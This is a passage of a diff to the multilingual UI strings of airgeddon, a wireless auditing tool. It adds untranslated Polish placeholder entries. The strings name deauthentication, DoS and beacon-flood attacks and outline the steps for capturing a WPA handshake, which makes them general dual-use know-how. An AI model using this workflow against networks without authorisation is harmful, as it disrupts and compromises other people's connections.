menu option was chosen" arr["SPANISH",76]="Opción del menú no válida" @@ -1162,6 +1238,7 @@ function language_strings() { arr["RUSSIAN",76]="Выбрана недействительная опция" arr["GREEK",76]="Επιλέχθηκε άκυρη επιλογή μενού" arr["ITALIAN",76]="Opzione del menú non valida" + arr["POLISH",76]="${pending_of_translation} " arr["ENGLISH",77]="Invalid interface was chosen" arr["SPANISH",77]="Interfaz no válida" @@ -1171,6 +1248,7 @@ function language_strings() { arr["RUSSIAN",77]="Был выбран недействительный интерфейс" arr["GREEK",77]="Επιλέχθηκε άκυρη διεπαφή" arr["ITALIAN",77]="Interfaccia non valida" + arr["POLISH",77]="${pending_of_translation} " arr["ENGLISH",78]="1. Change language" arr["SPANISH",78]="1. Cambiar idioma" @@ -1180,6 +1258,7 @@ function language_strings() { arr["RUSSIAN",78]="1. Сменить язык" arr["GREEK",78]="1. Αλλαγή γλώσσας" arr["ITALIAN",78]="1. Cambiare la lingua" + arr["POLISH",78]="${pending_of_translation} " arr["ENGLISH",79]="1. English" arr["SPANISH",79]="1. Inglés" @@ -1189,6 +1268,7 @@ function language_strings() { arr["RUSSIAN",79]="1. Английский" arr["GREEK",79]="1. Αγγλικά" arr["ITALIAN",79]="1. Inglese" + arr["POLISH",79]="${pending_of_translation} " arr["ENGLISH",80]="2. Spanish" arr["SPANISH",80]="2. Español" @@ -1198,6 +1278,7 @@ function language_strings() { arr["RUSSIAN",80]="2. Испанский" arr["GREEK",80]="2. Ισπανικά" arr["ITALIAN",80]="2. Spagnolo" + arr["POLISH",80]="${pending_of_translation} " arr["ENGLISH",81]="Select a language :" arr["SPANISH",81]="Selecciona un idioma :" @@ -1207,6 +1288,7 @@ function language_strings() { arr["RUSSIAN",81]="Выберите язык :" arr["GREEK",81]="Επιλέξτε μία γλώσσα :" arr["ITALIAN",81]="Scegli una lingua :" + arr["POLISH",81]="${pending_of_translation} " arr["ENGLISH",82]="Invalid language was chosen" arr["SPANISH",82]="Idioma no válido" @@ -1216,6 +1298,7 @@ function language_strings() { arr["RUSSIAN",82]="Был выбран неверный язык" arr["GREEK",82]="Επιλέχθηκε άκυρη γλώσσα" arr["ITALIAN",82]="Lingua non valida" + arr["POLISH",82]="${pending_of_translation} " arr["ENGLISH",83]="Language changed to English" arr["SPANISH",83]="Idioma cambiado a Inglés" @@ -1225,6 +1308,7 @@ function language_strings() { arr["RUSSIAN",83]="Язык изменён на английский" arr["GREEK",83]="Η γλώσσα άλλαξε στα Αγγλικά" arr["ITALIAN",83]="Lingua cambiata in Inglese" + arr["POLISH",83]="${pending_of_translation} " arr["ENGLISH",84]="Language changed to Spanish" arr["SPANISH",84]="Idioma cambiado a Español" @@ -1234,6 +1318,7 @@ function language_strings() { arr["RUSSIAN",84]="Язык изменён на испанский" arr["GREEK",84]="Η γλώσσα άλλαξε στα Ισπανικά" arr["ITALIAN",84]="Lingua cambiata in Spagnolo" + arr["POLISH",84]="${pending_of_translation} " arr["ENGLISH",85]="Send me bugs or suggestions to ${normal_color}${mail}" arr["SPANISH",85]="Enviadme errores o sugerencias a ${normal_color}${mail}" @@ -1243,6 +1328,7 @@ function language_strings() { arr["RUSSIAN",85]="Отправляйте ошибки и предложения мне на почту ${normal_color}${mail}" arr["GREEK",85]="Στείλτε μου αναφορές για bugs ή συστάσεις στο ${normal_color}${mail}" arr["ITALIAN",85]="Inviatemi errori o suggerimenti a ${normal_color}${mail}" + arr["POLISH",85]="${pending_of_translation} " arr["ENGLISH",86]="Welcome" arr["SPANISH",86]="Bienvenid@" @@ -1252,6 +1338,7 @@ function language_strings() { arr["RUSSIAN",86]="Добро пожаловать" arr["GREEK",86]="Καλως ορίσατε" arr["ITALIAN",86]="Benvenuti" + arr["POLISH",86]="${pending_of_translation} " arr["ENGLISH",87]="Change language" arr["SPANISH",87]="Cambiar idioma" @@ -1261,6 +1348,7 @@ function language_strings() { arr["RUSSIAN",87]="Сменить язык" arr["GREEK",87]="Αλλάξτε γλώσσα" arr["ITALIAN",87]="Cambia la lingua" + arr["POLISH",87]="${pending_of_translation} " arr["ENGLISH",88]="Interface selection" arr["SPANISH",88]="Selección de interfaz" @@ -1270,6 +1358,7 @@ function language_strings() { arr["RUSSIAN",88]="Выбор интерфейса" arr["GREEK",88]="Επιλογή διεπαφής" arr["ITALIAN",88]="Selezione dell'interfaccia" + arr["POLISH",88]="${pending_of_translation} " arr["ENGLISH",89]="Mdk3 amok action" arr["SPANISH",89]="Acción mdk3 amok" @@ -1279,6 +1368,7 @@ function language_strings() { arr["RUSSIAN",89]="Mdk3 amok в действии" arr["GREEK",89]="Ενέργεια mdk3 amok" arr["ITALIAN",89]="Azione mdk3 amok" + arr["POLISH",89]="${pending_of_translation} " arr["ENGLISH",90]="Aireplay deauth action" arr["SPANISH",90]="Acción aireplay deauth" @@ -1288,6 +1378,7 @@ function language_strings() { arr["RUSSIAN",90]="Деаутентификация Aireplay в действии" arr["GREEK",90]="Ενέργεια aireplay deauth" arr["ITALIAN",90]="Azione aireplay deauth" + arr["POLISH",90]="${pending_of_translation} " arr["ENGLISH",91]="WIDS / WIPS / WDS confusion action" arr["SPANISH",91]="Acción WIDS / WIPS / WDS confusion" @@ -1297,6 +1388,7 @@ function language_strings() { arr["RUSSIAN",91]="Смешение WIDS / WIPS / WDS в действии" arr["GREEK",91]="Ενέργεια σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",91]="Azione WIDS / WIPS / WDS confusion" + arr["POLISH",91]="${pending_of_translation} " arr["ENGLISH",92]="Beacon flood action" arr["SPANISH",92]="Acción Beacon flood" @@ -1306,6 +1398,7 @@ function language_strings() { arr["RUSSIAN",92]="Флуд маяками в действии" arr["GREEK",92]="Ενέργεια πλημμυρίσματος φάρου" arr["ITALIAN",92]="Azione Beacon flood" + arr["POLISH",92]="${pending_of_translation} " arr["ENGLISH",93]="Auth DoS action" arr["SPANISH",93]="Acción Auth DoS" @@ -1315,6 +1408,7 @@ function language_strings() { arr["RUSSIAN",93]="DoS аутентификации в действии" arr["GREEK",93]="Ενέργεια Auth DoS" arr["ITALIAN",93]="Azione Auth DoS" + arr["POLISH",93]="${pending_of_translation} " arr["ENGLISH",94]="Michael Shutdown action" arr["SPANISH",94]="Acción Michael Shutdown" @@ -1324,6 +1418,7 @@ function language_strings() { arr["RUSSIAN",94]="Отключение Michael в действии" arr["GREEK",94]="Ενέργεια Michael Shutdown" arr["ITALIAN",94]="Azione Michael Shutdown" + arr["POLISH",94]="${pending_of_translation} " arr["ENGLISH",95]="Mdk3 amok parameters" arr["SPANISH",95]="Parámetros Mdk3 amok" @@ -1333,6 +1428,7 @@ function language_strings() { arr["RUSSIAN",95]="Параметры Mdk3 amok" arr["GREEK",95]="Παράμετροι Mdk3 amok" arr["ITALIAN",95]="Parametri Mdk3 amok" + arr["POLISH",95]="${pending_of_translation} " arr["ENGLISH",96]="Aireplay deauth parameters" arr["SPANISH",96]="Parámetros Aireplay deauth" @@ -1342,6 +1438,7 @@ function language_strings() { arr["RUSSIAN",96]="Параметры деаутентификации Aireplay" arr["GREEK",96]="Παράμετροι Aireplay deauth" arr["ITALIAN",96]="Parametri Aireplay deauth" + arr["POLISH",96]="${pending_of_translation} " arr["ENGLISH",97]="WIDS / WIPS / WDS parameters" arr["SPANISH",97]="Parámetros WIDS / WIPS / WDS" @@ -1351,6 +1448,7 @@ function language_strings() { arr["RUSSIAN",97]="Параметры WIDS / WIPS / WDS" arr["GREEK",97]="Παράμετροι WIDS / WIPS / WDS" arr["ITALIAN",97]="Parametri WIDS / WIPS / WDS" + arr["POLISH",97]="${pending_of_translation} " arr["ENGLISH",98]="Beacon flood parameters" arr["SPANISH",98]="Parámetros Beacon flood" @@ -1360,6 +1458,7 @@ function language_strings() { arr["RUSSIAN",98]="Параметры флуда маяками" arr["GREEK",98]="Παράμετροι πλημμυρίσματος φάρου" arr["ITALIAN",98]="Parametri Beacon flood" + arr["POLISH",98]="${pending_of_translation} " arr["ENGLISH",99]="Auth DoS parameters" arr["SPANISH",99]="Parámetros Auth DoS" @@ -1369,6 +1468,7 @@ function language_strings() { arr["RUSSIAN",99]="Параметры аутентификации DoS" arr["GREEK",99]="Παράμετροι Auth DoS" arr["ITALIAN",99]="Parametri Auth DoS" + arr["POLISH",99]="${pending_of_translation} " arr["ENGLISH",100]="Michael Shutdown parameters" arr["SPANISH",100]="Parámetros Michael Shutdown" @@ -1378,6 +1478,7 @@ function language_strings() { arr["RUSSIAN",100]="Параметры Michael Shutdown" arr["GREEK",100]="Παράμετροι Michael Shutdown" arr["ITALIAN",100]="Parametri Michael Shutdown" + arr["POLISH",100]="${pending_of_translation} " arr["ENGLISH",101]="airgeddon main menu" arr["SPANISH",101]="Menú principal airgeddon" @@ -1387,6 +1488,7 @@ function language_strings() { arr["RUSSIAN",101]="Главное меню airgeddon" arr["GREEK",101]="Αρχικό μενού airgeddon" arr["ITALIAN",101]="Menú principale airgeddon" + arr["POLISH",101]="${pending_of_translation} " arr["ENGLISH",102]="DoS attacks menu" arr["SPANISH",102]="Menú ataques DoS" @@ -1396,6 +1498,7 @@ function language_strings() { arr["RUSSIAN",102]="Меню DoS атак" arr["GREEK",102]="Μενού επιθέσεων DoS" arr["ITALIAN",102]="Menú attacchi DoS" + arr["POLISH",102]="${pending_of_translation} " arr["ENGLISH",103]="Exploring for targets" arr["SPANISH",103]="Explorar para buscar objetivos" @@ -1405,6 +1508,7 @@ function language_strings() { arr["RUSSIAN",103]="Сканирование целей" arr["GREEK",103]="Εξερεύνηση στόχων" arr["ITALIAN",103]="Scansionare per cercare obiettivi" + arr["POLISH",103]="${pending_of_translation} " arr["ENGLISH",104]="Select target" arr["SPANISH",104]="Seleccionar objetivo" @@ -1414,6 +1518,7 @@ function language_strings() { arr["RUSSIAN",104]="Выбор цели" arr["GREEK",104]="Επιλέξτε στόχο" arr["ITALIAN",104]="Selezionare obiettivo" + arr["POLISH",104]="${pending_of_translation} " arr["ENGLISH",105]="About & Credits" arr["SPANISH",105]="Acerca de & Créditos" @@ -1423,6 +1528,7 @@ function language_strings() { arr["RUSSIAN",105]="О программе и Благодарности" arr["GREEK",105]="Σχετικά με & Εύσυμα" arr["ITALIAN",105]="Informazioni & Crediti" + arr["POLISH",105]="${pending_of_translation} " arr["ENGLISH",106]="Exiting" arr["SPANISH",106]="Saliendo" @@ -1432,6 +1538,7 @@ function language_strings() { arr["RUSSIAN",106]="Выход" arr["GREEK",106]="Γίνεται έξοδος" arr["ITALIAN",106]="Uscendo" + arr["POLISH",106]="${pending_of_translation} " arr["ENGLISH",107]="Join the project at ${normal_color}${urlgithub}" arr["SPANISH",107]="Únete al proyecto en ${normal_color}${urlgithub}" @@ -1441,6 +1548,7 @@ function language_strings() { arr["RUSSIAN",107]="Присоединитесь к проекту на ${normal_color}${urlgithub}" arr["GREEK",107]="Συμμετέχετε στο project ${normal_color}${urlgithub}" arr["ITALIAN",107]="Unisciti al progetto in ${normal_color}${urlgithub}" + arr["POLISH",107]="${pending_of_translation} " arr["ENGLISH",108]="Let's check if you have installed what script needs" arr["SPANISH",108]="Vamos a chequear si tienes instalado lo que el script requiere" @@ -1450,6 +1558,7 @@ function language_strings() { arr["RUSSIAN",108]="Давайте проверим, всё ли у вас установлено, что нужно скрипту" arr["GREEK",108]="Ας ελέγξουμε αν έχετε εγκαταστήσει ό,τι χρειάζεται το script" arr["ITALIAN",108]="Andiamo a verificare se è stato installato quello che richiede lo script" + arr["POLISH",108]="${pending_of_translation} " arr["ENGLISH",109]="Essential tools: checking..." arr["SPANISH",109]="Herramientas esenciales: comprobando..." @@ -1459,6 +1568,7 @@ function language_strings() { arr["RUSSIAN",109]="Основные инструменты: проверка..." arr["GREEK",109]="Απαραίτητα εργαλεία: γίνεται έλεγχος..." arr["ITALIAN",109]="Strumenti essenziali: controllando..." + arr["POLISH",109]="${pending_of_translation} " arr["ENGLISH",110]="Your distro has all necessary essential tools. Script can continue..." arr["SPANISH",110]="Tu distro tiene todas las herramientas esenciales necesarias. El script puede continuar..." @@ -1468,6 +1578,7 @@ function language_strings() { arr["RUSSIAN",110]="Ваша система имеет все необходимые основные инструменты. Скрипт может продолжать..." arr["GREEK",110]="Η διανομή σας έχει όλα τα απαραίτητα εργαλεία. Το script μπορεί να συνεχίσει..." arr["ITALIAN",110]="La tua distro ha tutti gli strumenti essenziali necessari. Lo script può continuare..." + arr["POLISH",110]="${pending_of_translation} " arr["ENGLISH",111]="You need to install some essential tools before running this script" arr["SPANISH",111]="Necesitas instalar algunas herramientas esenciales antes de lanzar este script" @@ -1477,6 +1588,7 @@ function language_strings() { arr["RUSSIAN",111]="Перед работой в этом скрипте, вам нужно установить некоторые основные инструменты" arr["GREEK",111]="Χρειάζεται να εγκαταστήσετε κάποια απαραίτητα εργαλεία πριν τρέξετε το script" arr["ITALIAN",111]="È necessario installare alcuni strumenti essenziali prima di lanciare questo script" + arr["POLISH",111]="${pending_of_translation} " arr["ENGLISH",112]="Language changed to French" arr["SPANISH",112]="Idioma cambiado a Francés" @@ -1486,6 +1598,7 @@ function language_strings() { arr["RUSSIAN",112]="Язык изменён на французский" arr["GREEK",112]="Η γλώσσα άλλαξε στα Γαλλικά" arr["ITALIAN",112]="Lingua cambiata in Francese" + arr["POLISH",112]="${pending_of_translation} " arr["ENGLISH",113]="3. French" arr["SPANISH",113]="3. Francés" @@ -1495,6 +1608,7 @@ function language_strings() { arr["RUSSIAN",113]="3. Французский" arr["GREEK",113]="3. Γαλλικά" arr["ITALIAN",113]="3. Francese" + arr["POLISH",113]="${pending_of_translation} " arr["ENGLISH",114]="Use it only on your own networks!!" arr["SPANISH",114]="Utilízalo solo en tus propias redes!!" @@ -1504,6 +1618,7 @@ function language_strings() { arr["RUSSIAN",114]="Используйте только на ваших собственных сетях!!" arr["GREEK",114]="Χρησιμοποιήστε το μόνο σε δικά σας δίκτυα!!" arr["ITALIAN",114]="Usalo solo nelle tue reti!!" + arr["POLISH",114]="${pending_of_translation} " arr["ENGLISH",115]="Press [Enter] key to continue..." arr["SPANISH",115]="Pulsa la tecla [Enter] para continuar..." @@ -1513,6 +1628,7 @@ function language_strings() { arr["RUSSIAN",115]="Нажмите клавишу [Enter] для продолжения..." arr["GREEK",115]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." arr["ITALIAN",115]="Premere il tasto [Enter] per continuare..." + arr["POLISH",115]="${pending_of_translation} " arr["ENGLISH",116]="4. Catalan" arr["SPANISH",116]="4. Catalán" @@ -1522,6 +1638,7 @@ function language_strings() { arr["RUSSIAN",116]="4. Каталонский" arr["GREEK",116]="4. Καταλανικά" arr["ITALIAN",116]="4. Catalano" + arr["POLISH",116]="${pending_of_translation} " arr["ENGLISH",117]="Language changed to Catalan" arr["SPANISH",117]="Idioma cambiado a Catalán" @@ -1531,6 +1648,7 @@ function language_strings() { arr["RUSSIAN",117]="Язык изменён на каталонский" arr["GREEK",117]="Η γλώσσα άλλαξε στα Καταλανικά" arr["ITALIAN",117]="Lingua cambiata in Catalano" + arr["POLISH",117]="${pending_of_translation} " arr["ENGLISH",118]="4. DoS attacks menu" arr["SPANISH",118]="4. Menú de ataques DoS" @@ -1540,6 +1658,7 @@ function language_strings() { arr["RUSSIAN",118]="4. Меню DoS атак" arr["GREEK",118]="4. Μενού επιθέσεων DoS" arr["ITALIAN",118]="4. Menù attacchi DoS" + arr["POLISH",118]="${pending_of_translation} " arr["ENGLISH",119]="5. Handshake tools menu" arr["SPANISH",119]="5. Menú de herramientas Handshake" @@ -1549,6 +1668,7 @@ function language_strings() { arr["RUSSIAN",119]="5. Меню инструментов для работы с рукопожатием" arr["GREEK",119]="5. Μενού εργαλειών Χειραψίας" arr["ITALIAN",119]="5. Menù degli strumenti Handshake" + arr["POLISH",119]="${pending_of_translation} " arr["ENGLISH",120]="Handshake tools menu" arr["SPANISH",120]="Menú de herramientas Handshake" @@ -1558,6 +1678,7 @@ function language_strings() { arr["RUSSIAN",120]="Меню инструментов для работы с рукопожатием" arr["GREEK",120]="Μενού εργαλειών Χειραψίας" arr["ITALIAN",120]="Menù degli strumenti Handshake" + arr["POLISH",120]="${pending_of_translation} " arr["ENGLISH",121]="5. Capture Handshake" arr["SPANISH",121]="5. Capturar Handshake" @@ -1567,6 +1688,7 @@ function language_strings() { arr["RUSSIAN",121]="5. Захват рукопожатия" arr["GREEK",121]="5. Καταγράψτε την Χειραψία" arr["ITALIAN",121]="5. Catturare Handshake" + arr["POLISH",121]="${pending_of_translation} " arr["ENGLISH",122]="6. Clean/optimize Handshake file" arr["SPANISH",122]="6. Limpiar/optimizar fichero de Handshake" @@ -1576,6 +1698,7 @@ function language_strings() { arr["RUSSIAN",122]="6. Очистка/оптимизация файла рукопожатия" arr["GREEK",122]="6. Καθαρισμός/βελτιστοποίηση του αρχείου Χειραψίας" arr["ITALIAN",122]="6. Pulire/ottimizzare file Handshake" + arr["POLISH",122]="${pending_of_translation} " arr["ENGLISH",123]="7. Return to main menu" arr["SPANISH",123]="7. Volver al menú principal" @@ -1585,6 +1708,7 @@ function language_strings() { arr["RUSSIAN",123]="7. Возврат в главное меню" arr["GREEK",123]="7. Επιστροφή στο αρχικό μενού" arr["ITALIAN",123]="7. Tornare al menu principale" + arr["POLISH",123]="${pending_of_translation} " arr["ENGLISH",124]="monitor mode needed for capturing" arr["SPANISH",124]="modo monitor requerido en captura" @@ -1594,6 +1718,7 @@ function language_strings() { arr["RUSSIAN",124]="для захвата необходим режим монитора" arr["GREEK",124]="χρειάζεται η κατάσταση παρακολούθησης για την καταγραφή" arr["ITALIAN",124]="modo monitor richesto per la cattura" + arr["POLISH",124]="${pending_of_translation} " arr["ENGLISH",125]="There is no valid target network selected. You'll be redirected to select one" arr["SPANISH",125]="No hay una red objetivo válida seleccionada. Serás redirigido para seleccionar una" @@ -1603,6 +1728,7 @@ function language_strings() { arr["RUSSIAN",125]="Не выбрана подходящая целевая сеть. Вы будете перенаправлены на выбор сети" arr["GREEK",125]="Δεν έχει επιλεχθεί κάποιο έγκυρο δίκτυο-στόχος. Θα καθοδηγηθείτε ώστε να επιλέξετε ένα" arr["ITALIAN",125]="Nessuna rete valida selezionata come obiettivo. Sarai reindirizzato per selezionarne una" + arr["POLISH",125]="${pending_of_translation} " arr["ENGLISH",126]="You have a valid WPA/WPA2 target network selected. Script can continue..." arr["SPANISH",126]="Tienes una red objetivo WPA/WPA2 válida seleccionada. El script puede continuar..." @@ -1612,6 +1738,7 @@ function language_strings() { arr["RUSSIAN",126]="У вас есть подходящая целевая сеть WPA/WPA2. Скрипт может продолжать..." arr["GREEK",126]="Έχετε επιλέξει ένα έγκυρο δίκτυο-στόχος WPA/WPA2. Το script μπορεί να συνεχίσει..." arr["ITALIAN",126]="Hai selezionato una rete WPA/WPA2 valida. Lo script può continuare..." + arr["POLISH",126]="${pending_of_translation} " arr["ENGLISH",127]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Capture Handshake" arr["SPANISH",127]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Captura Handshake" @@ -1621,6 +1748,7 @@ function language_strings() { arr["RUSSIAN",127]="Естественный порядок работы в этом меню: 1-Выбрать wifi карту 2-Перевести её в режим монитора 3-Выбрать целевую сеть 4-Захватить рукопожатие" arr["GREEK",127]="Η σειρά εντολών για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Καταγράψτε την Χειραψία" arr["ITALIAN",127]="L'ordine naturale per procedere in questo menú di solito è: 1-Seleziona la scheda wifi 2-Mettila in modalità monitor 3-Seleziona rete obiettivo 4-Cattura Handshake" + arr["POLISH",127]="${pending_of_translation} " arr["ENGLISH",128]="Select a wifi card to work in order to be able to do more actions than with an ethernet interface" arr["SPANISH",128]="Selecciona una interfaz wifi para poder realizar más acciones que con una interfaz ethernet" @@ -1630,6 +1758,7 @@ function language_strings() { arr["RUSSIAN",128]="Выберите wifi карту для работы, чтобы вы могли выполнить больше действий, чем с ethernet интерфейсом" arr["GREEK",128]="Επιλέξτε κάρτα wifi ώστε να μπορείτε να έχετε περισσοτερες επιλογές από μία διεπαφή ethernet" arr["ITALIAN",128]="Seleziona un'interfaccia wifi per poter eseguire più azioni che con un interfaccia ethernet" + arr["POLISH",128]="${pending_of_translation} " arr["ENGLISH",129]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Start attack" arr["SPANISH",129]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Comienza el ataque" @@ -1639,6 +1768,7 @@ function language_strings() { arr["RUSSIAN",129]="Обычный порядок работы в этом меню: 1-Выберите wifi карту 2-Переведите её в режим монитора 3-Выберите целевую сеть 4-Запустите атаку" arr["GREEK",129]="Η διαδικασία για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Ξεκινήστε την επίθεση" arr["ITALIAN",129]="L'ordine naturale per procedere in questo menú di solito è: 1-Seleziona la scheda wifi 2-Mettila in modalità monitor 3-Seleziona rete obiettivo 4-Inizia l'attacco" + arr["POLISH",129]="${pending_of_translation} " arr["ENGLISH",130]="Remember to select a target network with clients to capture Handshake" arr["SPANISH",130]="Recuerda seleccionar una red objetivo con clientes para capturar el Handshake" @@ -1648,6 +1778,7 @@ function language_strings() { arr["RUSSIAN",130]="Не забудьте выбрать целевую сеть с клиентами для захвата рукопожатия" arr["GREEK",130]="Θυμηθείτε να επιλέξετε ένα δίκτυο-στόχος με έναν ή παραπάνω χρήστες για να καταγράψετε μία Χειραψία" arr["ITALIAN",130]="Ricorda di selezionare una rete di destinazione con clienti per poter catturare l'Handshake" + arr["POLISH",130]="${pending_of_translation} " arr["ENGLISH",131]="Not all attacks affect all access points. If an attack is not working against an access point, choose another one :)" arr["SPANISH",131]="No todos los ataques afectan a todos los puntos de acceso. Si un ataque no funciona contra un punto de acceso, elige otro :)" @@ -1657,6 +1788,7 @@ function language_strings() { arr["RUSSIAN",131]="Не все атаки справляются со всеми точками доступа. Если атака не работает в отношении точки доступа, выберите другую :)" arr["GREEK",131]="Δεν είναι όλες οι επιθέσεις αποτελεσματικές σε όλα τα σημεία πρόσβασης. Αν μια επίθεση δεν δουλεύει ενάντια σε ένα σημείο πρόσβασης, διαλέξτε κάποια άλλη :)" arr["ITALIAN",131]="Non tutti gli attacchi funzionano su tutti gli access point. Se un attacco non funziona contro un access point, selezionane un altro :)" + arr["POLISH",131]="${pending_of_translation} " arr["ENGLISH",132]="Cleaning a Handshake file is recommended only for big size files. It's better to have a backup, sometimes file can be corrupted while cleaning it" arr["SPANISH",132]="Limpiar un fichero de Handshake se recomienda solo para ficheros grandes. Es mejor hacer una copia de seguridad antes, a veces el fichero se puede corromper al limpiarlo" @@ -1666,6 +1798,7 @@ function language_strings() { arr["RUSSIAN",132]="Очистка файла рукопожатия рекомендована только для файлов больших размеров. Лучше иметь резервную копию, иногда во время очистки файл может быть повреждён" arr["GREEK",132]="Ο καθαρισμός ενός αρχείου Χειραψίας συνιστάται μόνο για μεγάλου μεγέθους αρχεία. Καλύτερα κρατήστε ένα backup, μερικές φορές το αρχείο μπορεί να καταστραφεί κατά τη διάρκεια του καθαρισμού" arr["ITALIAN",132]="Pulire un file di Handshake è consigliato solo per file di grandi dimensioni. Meglio fare un backup prima, a volte il file si può corrompere con la pulizia" + arr["POLISH",132]="${pending_of_translation} " arr["ENGLISH",133]="If you select a target network with hidden ESSID, you can't use it, but you can perform BSSID based attacks to that network" arr["SPANISH",133]="Si seleccionas una red objetivo con el ESSID oculto, no podrás usarlo, pero puedes hacer ataques basados en BSSID sobre esa red" @@ -1675,6 +1808,7 @@ function language_strings() { arr["RUSSIAN",133]="Если вы выбрали целевую сеть со скрытым ESSID, вы не сможете использовать её, но вы можете выполнить атаку на эту сеть на основе BSSID" arr["GREEK",133]="Αν επιλέξετε ένα δίκτυο-στόχος με κρυφό ESSID, δεν μπορείτε να το χρησιμοποιήσετε, αλλά μπορείτε να εκτελέσετε επιθέσεις BSSID σε αυτό το δίκτυο" arr["ITALIAN",133]="Se si seleziona una rete obiettivo con ESSID nascosto, non potrai utilizzarla, peró puoi fare attacchi a questa rete basati sul BSSID" + arr["POLISH",133]="${pending_of_translation} " arr["ENGLISH",134]="If your Linux is a virtual machine, it is possible that integrated wifi cards are detected as ethernet. Use an external usb wifi card" arr["SPANISH",134]="Si tu Linux es una máquina virtual, es posible que las tarjetas wifi integradas sean detectadas como ethernet. Utiliza una tarjeta wifi externa usb" @@ -1684,6 +1818,7 @@ function language_strings() { arr["RUSSIAN",134]="Если ваш Linux в виртуально машине, то интегрированная wifi карта может определиться как Ethernet. Используйте внешнюю usb wifi карту" arr["GREEK",134]="Αν το Linux σας είναι εικονική μηχανή, είναι πιθανόν οι ενσωματωμένες κάρτες wifi να εντοπιστούν σαν ethernet. Χρησιμοποιήστε μία εξωτερική usb κάρτα wifi" arr["ITALIAN",134]="Se il tuo Linux è una macchina virtuale, è possibile che le schede wireless integrate vengono rilevate come ethernet. Utilizza una scheda usb WiFi esterna" + arr["POLISH",134]="${pending_of_translation} " arr["ENGLISH",135]="Type of encryption: ${pink_color}${enc}${normal_color}" arr["SPANISH",135]="Tipo de encriptado: ${pink_color}${enc}${normal_color}" @@ -1693,6 +1828,7 @@ function language_strings() { arr["RUSSIAN",135]="Тип шифрования: ${pink_color}${enc}${normal_color}" arr["GREEK",135]="Τύπος κρυπτογράφησης: ${pink_color}${enc}${normal_color}" arr["ITALIAN",135]="Tipo di crittografia: ${pink_color}${enc}${normal_color}" + arr["POLISH",135]="${pending_of_translation} " arr["ENGLISH",136]="Obtaining a Handshake is only for networks with encryption WPA or WPA2" arr["SPANISH",136]="La obtención de un Handshake es solo para redes con encriptación WPA o WPA2" @@ -1702,6 +1838,7 @@ function language_strings() { arr["RUSSIAN",136]="Получение рукопожатия только для сетей с шифрованием WPA или WPA2" arr["GREEK",136]="Η απόκτηση μιας Χειραψίας ισχύει μόνο σε δίκτυα με κρυπτογράφηση WPA ή WPA2" arr["ITALIAN",136]="Ottenere un Handshake è possibile solo per le reti con crittografia WPA o WPA2" + arr["POLISH",136]="${pending_of_translation} " arr["ENGLISH",137]="The selected network is invalid. To get a Handshake, encryption type of target network should be WPA or WPA2" arr["SPANISH",137]="La red seleccionada no es válida. Para obtener un Handshake, el tipo de encriptación de la red objetivo debe ser WPA o WPA2" @@ -1711,6 +1848,7 @@ function language_strings() { arr["RUSSIAN",137]="Выбранная сеть не подходит. Для получения рукопожатия, тип шифрования должен быть WPA или WPA2" arr["GREEK",137]="Το επιλεγμένο δίκτυο είναι άκυρο. Για να αποκτήσετε μία Χειραψία, ο τύπος κρυπτογράφησης του δικτύου-στόχου πρέπει να έιναι WPA ή WPA2" arr["ITALIAN",137]="La rete selezionata non è valida. Per ottenere un Handshake, il tipo di crittografia della rete obiettivo deve essere WPA o WPA2" + arr["POLISH",137]="${pending_of_translation} " arr["ENGLISH",138]="Attack for Handshake" arr["SPANISH",138]="Ataque para Handshake" @@ -1720,6 +1858,7 @@ function language_strings() { arr["RUSSIAN",138]="Атаковать для рукопожатия" arr["GREEK",138]="Επίθεση για Χειραψία" arr["ITALIAN",138]="Attacco per Handshake" + arr["POLISH",138]="${pending_of_translation} " arr["ENGLISH",139]="1. Deauth / disassoc amok mdk3 attack" arr["SPANISH",139]="1. Ataque Deauth / Disassoc amok mdk3" @@ -1729,6 +1868,7 @@ function language_strings() { arr["RUSSIAN",139]="1. Атака деаутентификации / разъединения amok mdk3" arr["GREEK",139]="1. Επίθεση Deauth / disassoc amok mdk3" arr["ITALIAN",139]="1. Attacco Deauth / Disassoc amok mdk3" + arr["POLISH",139]="${pending_of_translation} " arr["ENGLISH",140]="2. Deauth aireplay attack" arr["SPANISH",140]="2. Ataque Deauth aireplay" @@ -1738,6 +1878,7 @@ function language_strings() { arr["RUSSIAN",140]="2. Атака деаутентификации aireplay" arr["GREEK",140]="2. Επίθεση Deauth aireplay" arr["ITALIAN",140]="2. Attacco Deauth aireplay" + arr["POLISH",140]="${pending_of_translation} " arr["ENGLISH",141]="3. WIDS / WIPS / WDS Confusion attack" arr["SPANISH",141]="3. Ataque WIDS / WIPS / WDS Confusion" @@ -1747,6 +1888,7 @@ function language_strings() { arr["RUSSIAN",141]="3. Атака смешения WIDS / WIPS / WDS" arr["GREEK",141]="3. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",141]="3. Attacco WIDS / WIPS / WDS Confusion" + arr["POLISH",141]="${pending_of_translation} " arr["ENGLISH",142]="If the Handshake doesn't appear after an attack, try again or change the type of attack" arr["SPANISH",142]="Si tras un ataque el Handshake no aparece, vuelve a intentarlo o cambia de ataque hasta conseguirlo" @@ -1756,6 +1898,7 @@ function language_strings() { arr["RUSSIAN",142]="Если рукопожатие не появилось после атаки, попробуйте снова или измените тип атаки" arr["GREEK",142]="Αν η Χειραψία δεν εμφανιστεί μετά από την επίθεση, προσπαθήστε ξανά ή αλλάξτε τύπο επίθεσης" arr["ITALIAN",142]=" Se dopo un attacco non compare l'Handshake, prova di nuovo o cambia attacco fino ad ottenerlo" + arr["POLISH",142]="${pending_of_translation} " arr["ENGLISH",143]="Two windows will be opened. One with the Handshake capturer and other with the attack to force clients to reconnect" arr["SPANISH",143]="Se abrirán dos ventanas. Una con el capturador del Handshake y otra con el ataque para expulsar a los 